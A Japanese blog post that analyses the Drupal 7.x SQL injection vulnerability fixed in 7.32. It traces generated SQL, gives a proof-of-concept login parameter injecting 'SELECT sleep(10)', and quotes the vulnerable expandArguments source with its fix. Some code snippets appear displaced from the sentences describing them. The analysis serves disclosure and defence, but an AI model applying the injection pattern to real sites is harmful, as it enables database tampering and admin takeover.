ログイン時のSQL文を調べてみる
MySQLのクエリログを有効にして、Drupaのログイン時に呼び出されるSQL文を調べてみます。リクエストメッセージは以下となります(一部のヘッダを省略)。ログイン時には複数のSQL文が呼び出されますが、以下のSQL文に注目します。POST /?q=node&destination=node HTTP/1.1 Host: xxxxxxx User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Cookie: has_js=1; Drupal.toolbar.collapsed=0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 122 name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
次に、name=adminの部分を以下のように変更してみます。SELECT * FROM users WHERE name = 'admin' AND status = 1
生成されるSQL文は以下の通りです。name[]=user1&name[]=user2
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
あれ、配列として渡したuserが、SQL文では、'user1', 'user2'とカンマ区切りで列挙されています。これはSQL文法違反となっていますが、DrupalのSQL文ジェネレータの機能で、配列のパラメータを自動的にSQLのプレースホルダに展開する機能があるのです。以下、こちらの記事のサンプルをお借りして説明します。以下のようなdrupal APIの呼び出しを題材に用います。
上記IN句に対して、プレースホルダは :name 一つだけ、バインドする値は2個あります。この場合、SQL文は以下のように自動的に改変されます。<?php db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2'))); ?>
なんて便利なんでしょう! SQLインジェクション対策としてプレースホルダを使えと呼びかける際に決まって問題となる IN句の展開をやってくれていますね。つまり、バインド値を配列にする呼び出し方は主に IN句を想定したものであり、最初に見たname[]を複数指定する呼び出し方は、想定外といってよく、その結果として生成されるSQL文が文法違反となりました。SELECT * from users where name IN (:name_0, :name_1)
文法違反というだけでかなり嫌な予感がしますが、この予感は不幸にも的中します。
連想配列のキーを指定したらどうなるか
ここで元のログイン時のSQL文に戻り、今度はname配列にキー文字列をつけて呼び出してみましょう。以下のname[]配列を用います。生成されるSQL文は以下の通りです。name[id1]=user1&name[id2]=user2
一見筋の通った処理に思えますが、キーに空白があったらどうなるでしょうか?SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND status = 1
生成されるSQL文は下記となります。name[1 xxxxx]=user1&name[2]=user2
あれあれ、プレースホルダがちぎれて、:name1と xxxxx に分かれてしまいました。これはもちろん文法違反ですが、実は呼び出す前にエラーになります。SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND status = 1
この際のバインド値は以下の通りです。
SQL文中には :name_1 というプレースホルダがありますが、バインド値の配列には :name_1がありません。このため、PDOの動的プレースホルダが値をバインドできず、呼び出す前にエラーになるわけです。array(2) { [":name_1 xxxxx"] => "user1" [":name_2"] => "user2" }
それでは、エラーにならない方法はあるでしょうか? あります。:name_2 はあるわけですから、最初のプレースホルダ側でも :name_2 を使ってしまえばよいのです。
今度は、以下のname[]値で呼び出してみます。user1は使われないので削除しました。
生成されるSQL文name[2 xxxxx]=&name[2]=user2
SQL文の中で使われているプレースホルダは :name_2 のみとなりました。この際のバインド値は以下の通りです。SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND status = 1
キー :name_2 はあるので、SQL文は呼び出されるはずです。ログを見ると、以下のSQL文がみつかります。array(2) { [":name_2 xxxxx"] => "" [":name_2"]=> "user2" }
呼び出されていますね。ただし、xxxxxの部分でSQL文法違反となっているので、MySQL側でエラーになり、実行はされません。このxxxxxを文法違反にならないように辻褄をあわせてやると、SQLインジェクション攻撃ができます。SELECT * FROM users WHERE name = 'user2' xxxxx, 'user2' AND status = 1
SQLインジェクションを試す
いよいよSQLインジェクションです…が、まだ発表されたばかりの脆弱性ですので、実害のあるものは避けて、10秒待つだけのSQLを実行してみましょう。ということで、SELECT sleep(10) というSQL文を実行してみましょう。POSTパラメータは以下となります。
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
Burp SuiteのRepeater機能で実行した例を下図に示します。図の右下に 10,079millisとあることから、10,079ミリ秒、すなわち約10秒待っていることがわかります。この際に呼び出されているSQL文は下記の通りです。
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , 'user2' AND status = 1
実験に使用した環境はMySQLを使っていますが、SQLの複文が実行できていることになります。これは、DrupalがPDOを使っているためで、詳しくは以下のエントリを参照ください。ソース上の脆弱性箇所
この脆弱性の発生原因は、ソース上では以下のexpandArgumentsメソッドにあります。元のコメントはすべて削除して、簡単な説明をコメントとして追加しました。// includes/database/database.inc protected function expandArguments(&$query, &$args) { $modified = FALSE; // $argsの要素から配列のみ処理対象として foreach foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); // $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目 foreach ($data as $i => $value) { $new_keys[$key . '_' . $i] = $value; } // $queryを改変 $new_keysのキーをarray_kesyでSQL文に混ぜていることが問題 $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query); unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
先のPoCから呼び出される場合、$args['name'] に配列値が入っている場合、配列のキーが変数 $i 経由でなんのチェックもなくSQL文に流し込まれることが問題です。
この脆弱性が対策されたDrupal7.32では、内側のforeachは以下のように修正されています。
foreach (array_values($data) as $i => $value) {$dataにarray_values関数を通すことで、キーを取り除くことにより対策しています。
これで一応脆弱性は対処されていると思いますが、最初の方で指摘したようにクエリ文字列nameを配列とした場合に、文法違反のSQL文が生成される問題は直っていません。
Drupalは必要最小限のバリデーションのみをしているように見えますが、クエリ文字列が(配列ではなくスカラの)文字列であることのチェックくらいはした方がよいと思います。これはアプリケーション要件として必要なチェックだと考えます。
この脆弱性による影響
SQLインジェクションによる一般的な影響はすべて可能性がありますが、とくにデータベースの改変による攻撃経路が重要であると考えます。詳細は伏せますが、管理者権限をうばったり、管理者権限のあるユーザを登録できることを実験で確認しています。DrupalはCMSですので、管理者権限が得られた後は、ファイルをアップロードするなどして任意のPHPスクリプト実行なども可能になると考えます。既にさまざまな攻撃が実際に来ているようですので、早急の対策をおすすめします。
影響を受けるバージョンと対策
Drupal 7.xのみが影響を受けます。Drupal 7.32にて対策されているので、該当バージョンを利用の場合、早急のアップグレードを推奨します。すぐにアップグレードできない場合は、WAFによる攻撃緩和も有効と考えられます。Drupal対応のシグネチャがなくても、既存のシグネチャによる防御が期待できます。ただし、シングルクォートを使わなくても攻撃は可能なので、WAFの性能次第というところはあります。
まとめ
Drupal 7.xのSQLインジェクション脆弱性について説明しました。このSQLインジェクション脆弱性は、SQL文を動的生成する際に、プレースホルダ中に誤って配列パラメータ中のキー値をなんのチェックもせずに混入させてしまったことによるものです。配列パラメータのキーによる攻撃は結構あるパターンでして、以下のエントリでも説明しています。
O/RマッパーやSQLジェネレータを開発する場合は、パラメータが配列である場合や、配列のキーが指定された場合についもテストをしておくとよいでしょう。
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